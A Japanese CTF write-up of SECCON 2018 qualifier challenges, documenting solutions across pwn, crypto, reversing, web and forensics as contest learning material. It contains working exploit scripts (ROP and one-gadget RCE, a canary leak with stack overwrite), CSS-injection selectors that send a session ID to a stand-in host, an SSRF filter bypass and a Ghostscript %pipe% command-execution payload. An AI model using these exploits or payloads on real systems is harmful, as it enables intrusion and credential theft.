チームsuperflipは25問中10問を解いて1854点、44位。
全問題、最初は500点で解いたチームが多いほど点数が下がっていく方式。
Pwn
Classic Pwn (121 pt, 197 solves)
gets
でスタックバッファオーバーフローするだけの問題。ただしx64。
- GOTの
puts
のアドレスをputs
で出力 - このアドレスからOne-Gadget-RCEのアドレスを計算
- GOTの
puts
にgets
で書き込む -
puts
を呼ぶ(実際にはOne-Gadget-RCE)
という流れで解いた。
from socket import *
from time import *
from struct import *
from telnetlib import *
s = socket(AF_INET, SOCK_STREAM)
s.connect(("classic.pwn.seccon.jp", 17354))
sleep(1)
print s.recv(1024)
v = "a"*0x48
v += pack("<Q", 0x400753) # pop rdi ret
v += pack("<Q", 0x601018) # puts
v += pack("<Q", 0x400520) # puts
v += pack("<Q", 0x400753) # pop rdi ret
v += pack("<Q", 0x601018) # puts
v += pack("<Q", 0x400560) # gets
v += pack("<Q", 0x400520) # puts
v += "\0"*0x40
s.send(v+"\n")
sleep(1)
print s.recv(18)
t = s.recv(6)
print repr(t)
puts = unpack("<Q", t+"\0\0")[0]
print "puts:", hex(puts)
rce = puts - 0x6f690 + 0x4526a
print "rce:", hex(rce)
s.send(pack("<Q", rce) + "\n")
t = Telnet()
t.sock = s
t.interact()
C:\documents\ctf\seccon2018qual\Classic Pwn>attack.py
Classic Pwnable Challenge
Local Buffer >>
Have a nice pwn!!
'\x90\xd6\x1b\xb6\x83\x7f'
puts: 0x7f83b61bd690L
rce: 0x7f83b619326aL
id
uid=10214 gid=10000(classic) groups=10000(classic)
cat /home/classic/flag.txt
SECCON{w4rm1ng_up_by_7r4d1710n4l_73chn1qu3}
^C
SECCON{w4rm1ng_up_by_7r4d1710n4l_73chn1qu3}
kindvm (255 pt, 64 Solves)
コンテスト終了後に解いた。
Get hints, and pwn it! kindvm.pwn.seccon.jp 12345
指定のサーバーに繋いでみると、こんな感じ。
$ nc kindvm.pwn.seccon.jp 12345
Input your name : hoge
Input instruction : fuga
_ _ _
| | _(_)_ __ __| |_ ___ __ ___
| |/ / | '_ \ / _` \ \ / / '_ ` _ \
| <| | | | | (_| |\ V /| | | | | |
|_|\_\_|_| |_|\__,_| \_/ |_| |_| |_|
Instruction start!
Error! Try again!
問題名の通り、VMが実装されている。問題ファイルを解析して調べた仕様は次の通り。
値 | 命令 | 意味 |
---|---|---|
00 | np | nop |
01 | load a b | reg[a] = mem[b] |
02 | store a b | mem[a] = reg[b] |
03 | mov a b | reg[a] = reg[b] |
04 | add a b | reg[a] += reg[b] |
05 | sub a b | reg[a] -= reg[b] |
06 | halt | 終了 |
07 | in a b | reg[a] = b |
08 | out a | reg[a]を出力 |
09 | hint | ヒントを出力 |
扱う整数は32ビットビッグエンディアン。レジスタは8個、メモリ1024バイト。引数のa
とb
は、レジスタならば1バイト、メモリならば2バイト、即値ならば4バイトで表す。メモリは最初にAAA...
で埋められる。
「Get hints!」の通り、まずはヒントをかき集める。
1個目はスタックバッファオーバーフローでカナリアが死ぬと出てくる。
$ nc kindvm.pwn.seccon.jp 12345
Input your name : aaaaaaaaaaaaaaaaa
_ _ _ _ _ ____ _____ _____ _
| | | (_)_ __ | |_/ | / ___| ____|_ _| | |
| |_| | | '_ \| __| | | | _| _| | | | |
| _ | | | | | |_| | | |_| | |___ | | |_|
|_| |_|_|_| |_|\__|_| \____|_____| |_| (_)
Nice try! The theme of this binary is not Stack-Based BOF!
However, your name is not meaningless...
スタックバッファオーバーフローの問題ではない。名前に意味が無いわけではない。
2個目はhint
命令。
$ echo $'\n\x09\x06' | nc kindvm.pwn.seccon.jp 12345
Input your name : Input instruction : _ _ _
| | _(_)_ __ __| |_ ___ __ ___
| |/ / | '_ \ / _` \ \ / / '_ ` _ \
| <| | | | | (_| |\ V /| | | | | |
|_|\_\_|_| |_|\__,_| \_/ |_| |_| |_|
Instruction start!
_ _ _ _ ____ ____ _____ _____ _
| | | (_)_ __ | |_|___ \ / ___| ____|_ _| | |
| |_| | | '_ \| __| __) | | | _| _| | | | |
| _ | | | | | |_ / __/ | |_| | |___ | | |_|
|_| |_|_|_| |_|\__|_____| \____|_____| |_| (_)
Nice try! You can analyze vm instruction and execute it!
Flag file name is "flag.txt".
フラグのファイル名が分かる。
3個目は、問題ファイルを解析すると、add
命令で元の変数が非負で結果が負というのが条件だと分かる。整数オーバーフロー。正の大きな整数を足すと負になる。メモリの初期値が0x41414141
なのでこれを読みこんで足し合わせれば良い。
$ python -c "print '\n\x01\x00\x00\x00\x04\x00\x00\x06'" | nc kindvm.pwn.seccon.jp 12345
Input your name : Input instruction : _ _ _
| | _(_)_ __ __| |_ ___ __ ___
| |/ / | '_ \ / _` \ \ / / '_ ` _ \
| <| | | | | (_| |\ V /| | | | | |
|_|\_\_|_| |_|\__,_| \_/ |_| |_| |_|
Instruction start!
_ _ _ _ _____ ____ _____ _____ _
| | | (_)_ __ | |_|___ / / ___| ____|_ _| | |
| |_| | | '_ \| __| |_ \ | | _| _| | | | |
| _ | | | | | |_ ___) | | |_| | |___ | | |_|
|_| |_|_|_| |_|\__|____/ \____|_____| |_| (_)
Nice try! You can cause Integer Overflow!
The value became minus value. Minus value is important.
$'hoge'
では\x00
が扱えなかった。
各命令で、メモリのインデックスが(1024-4)未満であることはチェックされているものの、0以上であることはチェックされていない。また、VMの状態などを管理する変数は次のように並んでいる。
オフセット | 内容 |
---|---|
+00 | プログラムカウンタ |
+04 | 終了するかどうかのフラグ |
+08 | 名前 |
+0c | "banner.txt" |
+10 | func_greeting |
+14 | func_farewell |
func_greeting
やfunc_farewell
ではその都度、+0c
のファイルを読みこんでいる。ということで、各メモリはmalloc
で確保しているので、VMのメモリの直前にはこのVMの状態を管理する変数が並んでいることを期待して、名前を"flag.txt"
にして、適当に位置を変えながら4バイト前の値を後ろにコピーする。上手く"flag.txt"
を"banner.txt"
に移せればkindvmのアスキーアートの代わりにフラグが表示される。
$ python -c "print 'flag.txt'; print '0100ffd802ffdc0006'.decode('hex')" | nc kindvm.pwn.seccon.jp 12345
Input your name : Input instruction : _ _ _
| | _(_)_ __ __| |_ ___ __ ___
| |/ / | '_ \ / _` \ \ / / '_ ` _ \
| <| | | | | (_| |\ V /| | | | | |
|_|\_\_|_| |_|\__,_| \_/ |_| |_| |_|
Instruction start!
SECCON{s7ead1ly_5tep_by_5tep}
Execution is end! Thank you!
SECCON{s7ead1ly_5tep_by_5tep}
Profile (255 pt, 255 solves)
コンテスト終了後に解いた。
一見、ヒープオーバーフローのように見える。それならばけっこう難しいのになぜkindvmよりも解いている人数が多いのだろうと思ったら、スタックバッファオーバーフローだった。
こんな感じ。
$ nc profile.pwn.seccon.jp 28553
Please introduce yourself!
Name >> name
Age >> 17
Message >> abc
1 : update message
2 : show profile
0 : exit
>> 2
Name : name
Age : 17
Msg : abc
1 : update message
2 : show profile
0 : exit
>> 1
Input new message >> xyz
1 : update message
2 : show profile
0 : exit
>> 2
Name : name
Age : 17
Msg : xyz
1 : update message
2 : show profile
0 : exit
>> 0
Wrong input...
実装はC++で、std::string
を使っている。C++でどうやって脆弱性が生まれるのかと思ったら、update messageで次のようなことをしている。
int n = malloc_usable_size(profile.message.c_str());
getn(profile.message.c_str(), n);
getn
はこのプログラム中で定義されている関数で、n
文字もしくは\n
まで入力を読みこむ。
std::string
のバッファはmalloc
で確保されているのだから、malloc_usable_sizeが使えそうに思える……が、そんなことはなくて、std::string
は文字列長が短い場合にはバッファを別途確保しない。下のサイトが詳しい。この問題はGCC。
std::stringのSSO(Small-string optimization)がどうなっているか調べた - Qiita
ところで、malloc_usable_size
がどのように実装されているかというと、引数のポインタの前8バイトの位置にある値から、16を引いたサイズを返している。malloc
で確保されたメモリには返り値のポインタに16バイトの管理用の領域が付いていて、後半8バイトは(管理用の領域を含めた)メモリのサイズ。std::string
の場合は文字列長そのままなので、短い文字列長の場合は負のオーバーフローを起こして大きな値となり、チェックが無意味になっていくらでも書き込める。
これを使って直後のstd::string
のポインタを書き換えれば任意のアドレスの値が読める。このプログラムではスタックのカナリアが有効なので、単なるスタックバッファオーバーフローはできないが、カナリアの値を読んで正しい値をそのまま書き込んでしまえば良い。
char[]
と違ってstd::string
の場合は、終端のNULL文字を上書きしたところで直後のメモリが読めることはない(元の文字列長までしか出てこない)。その代わりNULL文字を含んだメモリも読める。
profile
はスタック上に確保されていて、周辺のスタックは次の配置になっている。
オフセット | 内容 |
---|---|
-20 | profile.message.p |
-18 | profile.message.length |
-10 | profile.message.buf |
00 | profile.name.p |
+08 | profile.name.length |
+10 | profile.name.buf |
+20 | profile.age |
+28 | canary |
+30 | ? |
+38 | rbxの退避 |
+40 | rbpの退避 |
+48 | return address |
起点は攻撃スクリプトでstack
としている場所、profile.name
。
攻撃の流れは次の通り。
-
profile.name.p
の下位1バイトを書き換えながら、profile.name.p
を読んだときにprofile.age
になるかどうかをチェックして、スタックのアドレスの下位1バイトを特定する -
profile.name.p
がprofile.name.p
自身を指すようにして、スタックのアドレスを読み取る -
profile.name.p
を書き換えて、カナリアの値を読み取る -
profile.name.p
を書き換えて、GOTの値を読み取る - スタックのアドレス、libcのアドレス、カナリアの値が分かったので、スタック全体を書き換えて
main
からの戻り先をone-gadget RCEにする - プログラムを終了する
from socket import *
from struct import *
from telnetlib import *
s = socket(AF_INET, SOCK_STREAM)
s.connect(("profile.pwn.seccon.jp", 28553))
def recv():
t = ""
while len(t)<3 or t[-3:]!=">> ":
t += s.recv(9999)
return t
recv()
s.send("namename\n")
recv()
s.send("1234\n")
recv()
s.send("message\n")
recv()
def steal(v):
s.send("1\n")
recv()
s.send("a"*16+v+"\n")
recv()
s.send("2\n")
return unpack("<Q", recv()[7:15])[0]
for i in range(2, 16):
if steal(chr(i*16))==1234:
break
else:
print "not found"
exit(0)
stack = steal(chr((i-2)*16))
print "stack: %08x" % stack
canary = steal(pack("<Q", stack+0x28))
print "canary: %08x" % canary
read = steal(pack("<Q", 0x602028))
print "read: %08x" % read
rce = read - 0xf7250 + 0x4526a
print "rce: %08x" % rce
attack = (
pack("<QQ", 0, 0) +
pack("<QQQQ", stack+0x10, 0, 0, 0) +
pack("<QQQQQQ", 0, canary, 0, 0, 0, rce) +
"\0"*0x200)
s.send("1\n")
recv()
s.send(attack+"\n")
recv()
s.send("0\n")
t = Telnet()
t.sock = s
t.interact()
C:\documents\ctf\seccon2018qual\Profile>attack.py
stack: 7ffd6e5d3980
canary: 1b992528b4941700
read: 7f2f58c36250
rce: 7f2f58b8426a
Wrong input...
ls -al
total 40
drwxr-x--- 2 root profile 4096 Oct 23 02:37 .
drwxr-xr-x 6 root root 4096 Oct 23 02:37 ..
-rw-r----- 1 root profile 220 Sep 1 2015 .bash_logout
-rw-r----- 1 root profile 3771 Sep 1 2015 .bashrc
-rw-r----- 1 root profile 655 May 16 2017 .profile
-rw-r----- 1 root profile 41 Oct 23 02:37 flag.txt
-rwxr-x--- 1 root profile 15576 Oct 23 02:37 profile
cat flag.txt
SECCON{57r1ng_l0c4710n_15_n07_0nly_h34p}
exit
*** Connection closed by remote host ***
SECCON{57r1ng_l0c4710n_15_n07_0nly_h34p}
Crypto
Boguscrypt (162 pt, 125 solves)
ELFファイルと、TLSの通信をしているpcapファイルを渡されて面倒だなと思ったけれど、そんなことはなかった。
ELFファイルではgethostbyaddr
で取得したホスト名で復号しているので、DNSの通信をpcapから探すだけ。
d = open("flag.txt.encrypted", "rb").read()
k = "cur10us4ndl0ngh0stn4m3"[::-1]
print "".join(chr(ord(d[i])^ord(k[i%len(k)])) for i in range(len(d)))
SECCON{This flag is encoded by bogus routine}
mnemonic (260 pt, 62 Solves)
:
[
"c0f...",
"??? とかす なおす よけい ちいさい さんらん けむり ていど かがく とかす そあく きあい ぶどう こうどう ねみみ にあう ねんぐ ひねる おまいり いちじ ぎゅうにく みりょく ろしゅつ あつめる",
"e9a..."
],
],
"flag": "SECCON{md5(c0f...)}"
}
暗号通貨のあれ。仕様はBIP39。11ビットごとに単語を割りあてていくので、伏せられている単語は 0xc0f>>1=0x607
番目のはいれつ
。結果の16進数は16進数のままmd5だった。
# coding: utf-8
import hashlib
# https://github.com/bitcoin/bips/blob/master/bip-0039/japanese.txt
W = open("japanese.txt").read().decode("utf-8").split()
M = u"はいれつ とかす なおす よけい ちいさい さんらん けむり ていど かがく とかす そあく きあい ぶどう こうどう ねみみ にあう ねんぐ ひねる おまいり いちじ ぎゅうにく みりょく ろしゅつ あつめる"
M = M.split(u" ")
C = 0
for m in M:
C = C<<11 | W.index(m)
C >>= 11*len(M)-256
print "SECCON{%s}" % hashlib.md5("%032x"%C).hexdigest()
SECCON{cda2cb1742d1b6fc21d05c879c263eec}
Smart Gacha Lv.1 (347 pt, 33 solves)
解けなかった。
Etereumのスマートコントラクトのハック。これは一度やってみたかったが、取りかかる時間が取れず残念。
Electrum Kamuy (455 pt, 9 solves)
解けなかった。
Cryptoジャンルがが実質Crypto Currencyジャンルになっている。暗号通貨のサイトからmnemonicコードの各単語を探す。トップページのコメントと、コメントの投稿完了画面は見つけたけれど、他は見つからず。
Reversing
Runme (102 pt, 352 solves)
Windows 32bitアプリ。GetCommandLine()
が"C:\Temp\SECCON2018Online.exe" SECCON{Runn1n6_P47h}
なら通る。
SECCON{Runn1n6_P47h}
Special Device File (231 pt, 75 solves)
この問題はSpecial Instructionsの後に公開されたけれど、こちらのほうが先に解けた。ARM64。
で、逆アセンブルできる。/dev/xorshift64
というデバイスから値を読んでいるので、名前から挙動を推測。
x = 0x0139408dcbbf7a44
def xor64():
global x
x = (x ^ x<<13) & 0xffffffffffffffff
x = (x ^ x>> 7) & 0xffffffffffffffff
x = (x ^ x<<17) & 0xffffffffffffffff
return x
f = open("runme", "rb")
f.seek(0x1800)
c1 = map(ord, f.read(0x20))
c2 = map(ord, f.read(0x20))
p = [0]*0x1f
for i in range(0x1f):
p[i] = (c1[i] ^ c2[i] ^ xor64()) & 0xff
print "".join(map(chr, p))
SECCON{UseTheSpecialDeviceFile}
Special Instructions (262 pt, 61 solves)
特殊アーキテクチャ。問題文の説明と、その先のファイルでクロス開発環境の構築が丁寧に解説されている。WSLだとビルドが遅いしなぜか失敗したので、VMを使った。Moxieというアーキテクチャ。
moxie-elf-objdump
で逆アセンブルさえできてしまえば読むのは難しくない。
0000154a <set_random_seed>:
154a: 16 20 bad
154c: 04 00 ret
0000154e <get_random_value>:
154e: 17 20 bad
1550: 04 00 ret
と逆アセンブルできない命令があるけれど、仕様は出力されるようになっている。
SETRSEED: (Opcode:0x16)
RegA -> SEED
GETRAND: (Opcode:0x17)
xorshift32(SEED) -> SEED
SEED -> RegA
やっていることはSpecial Device Fileと同じ。
x = 0x92d68ca2
def xor32():
global x
x = (x ^ x<<13) & 0xffffffff
x = (x ^ x>>17) & 0xffffffff
x = (x ^ x<<15) & 0xffffffff
return x
f = open("runme", "rb")
f.seek(0x384)
c1 = map(ord, f.read(0x20))
c2 = map(ord, f.read(0x20))
p = [0]*0x1f
for i in range(0x1f):
p[i] = (c1[i] ^ c2[i] ^ xor32()) & 0xff
print "".join(map(chr, p))
SECCON{MakeSpecialInstructions}
Media
Needle in a haystack (319 pt, 41 solves)
解けなかった。
9時間の動画。YouTubeのシークバーのサムネイル見ると、中央部だけぼやけて見える。重ねると何かが出てきたりするのかな?
Web
GhostKingdom (248 pt, 67 solves)
色々な脆弱性が絡んでいて面白かった。振り返ってみればそんなに難しくないはずが、色々とハマってしまった。
サイトにスクショを撮る機能がある。ローカルからだと画像アップロード機能が使えるらしい。とりあえずhttp://127.0.0.1/
を投げると、127
が含まれているのでダメと言われる。ここはhttp://0x7f.0.0.1
で回避。
ログインがGETなので自分のIDとパスワードでログインさせることはできるが、ログインした後に別のページに遷移させる方法が分からず悩んだ。スクリーンショットを撮る間でセッションは維持されるようになっていた。悩む必要は無かった。
管理者にメッセージを送る機能にCSSインジェクションが可能な脆弱性がある。また、cookieのセッションIDがCSRFトークンとして書き出される。これを読み出せば良い。が、
input[value^=0]{background:url(http://hoge/0)}
input[value^=1]{background:url(http://hoge/1)}
:
input[value^=f]{background:url(http://hoge/f)}
として、手元では上手く動くのに、スクショを撮らせてもリクエストが飛んでこない。外向きの通信を弾いているのではないかと考えた(適当な外部サイトのスクショを撮らせてみれば、すぐに弾いていないと分かったのだが……)。スクショだけから情報を得ようとしたけれど、type="hidden"
のinput
なのでCSSで何をやっても見た目が変えられない。下のボタンの見た目を変えることにした。
input[value^=0]~input{background:#000!important}
input[value^=1]~input{background:#005!important}
:
input[value^=f]~input{background:#0ff!important}
これでもダメ。一般兄弟結合子か属性セレクターの先頭一致セレクタに対応していない古いブラウザなのかな?とか考えたけれど、結局'
を付けていないのが原因だった。手元ではセッションIDの先頭がf
なので動作し、サーバーでは先頭が1
なのでダメだった。CSS……。
input[value^='0']{background:url(http://hoge/0)}
input[value^='1']{background:url(http://hoge/1)}
:
input[value^='f']{background:url(http://hoge/f)}
これならOK。
これでローカルからログインしたセッションIDが手に入り、画像アップロード機能が使えるようになった。アップロードした後はGIFに変換できるらしい。Ghostscriptの脆弱性。ここでもちょっとハマった。ググって出てきた
%!PS
userdict /setpagedevice undef
save
legal
{ null restore } stopped { pop } if
{ legal } stopped { pop } if
restore
mark /OutputFile (%pipe%id) currentdevice putdeviceprops
を投稿しても変換になる。良く分からないがOSによって違うらしい。
%!PS
userdict /setpagedevice undef
legal
{ null restore } stopped { pop } if
legal
mark /OutputFile (%pipe%id) currentdevice putdeviceprops
なら動く。フラグはhttp://ghostkingdom.pwn.seccon.jp/FLAG/
にあることが問題文に書かれていて、変換中の出力も見えるので、シェルを取ったりする必要は無い。
%!PS
userdict /setpagedevice undef
legal
{ null restore } stopped { pop } if
legal
mark /OutputFile (%pipe%ls -al /var/www/html/FLAG/) currentdevice putdeviceprops
を投げると、
total 8
drwxr-xr-x 2 root root 48 Oct 9 16:35 .
drwxr-x--x. 4 root apache 154 Oct 27 20:52 ..
-rw-r--r-- 1 root root 48 Oct 10 15:14 FLAGflagF1A8.txt
-rw-r--r-- 1 root root 97 Oct 11 14:10 index.html
が出力される。
SECCON{CSSinjection+GhostScript/ImageMagickRCE}
QR
QRChecker (222 pt, 80 solves)
縮小拡大によって2通りに読めるQRコードを作れという問題。リサイズはPIL
のImage.resize
をアルゴリズムの指定無しで使っている。指定無しだとニアレストネイバーになる。
なので、こんなQRコードを作った。
from PIL import Image
im1 = Image.open("hoge.png")
im2 = Image.open("fuga.png")
im3 = Image.new("RGB", (500, 500), (128, 128, 128))
for y in range(0, 500, 20):
for x in range(0, 500, 20):
for yy in range(20):
for xx in range(20):
p = ((x/20+2)*10, (y/20+2)*10)
if xx in [9, 10] and yy in [9, 10]:
c = im1.getpixel(p)
else:
c = im2.getpixel(p)
im3.putpixel((x+xx, y+yy), c)
im3.save("attack.png")
ニアレストネイバーで縮小すると中央部の点の色になる。縮小せずにQRコードを読ませれば、ちゃんと画素のある位置の周囲を見てくれるでしょう。
SECCON{50d7bc7542b5837a7c5b94cf2446b848}
Forensics
Unzip (101 pt, 597 solves)
現在のUNIX時刻で暗号化したZIPファイル。数字だけのパスワードを探索すれば良い。
SECCON{We1c0me_2_SECCONCTF2o18}
History (145 pt, 147 solves)
Windowsのファイル名っぽいものが含まれたバイナリファイル。意味が分からないのに正解チーム数が増えていて謎だった。
USNジャーナルだった。ファイルに対する操作が記録されているらしい。ファイル名のJ
は本来は$J
と。USN Analyticsで読める。
ファイル名の変更を抜き出すと、
SEC.txt -> CON{.txt
CON{.txt -> F0r.txt
F0r.txt -> ensic.txt
ensic.txt -> s.txt
s.txt -> _usnjrnl.txt
_usnjrnl.txt -> 2018}.txt
が見つかる。
SECCON{F0rensics_usnjrnl2018}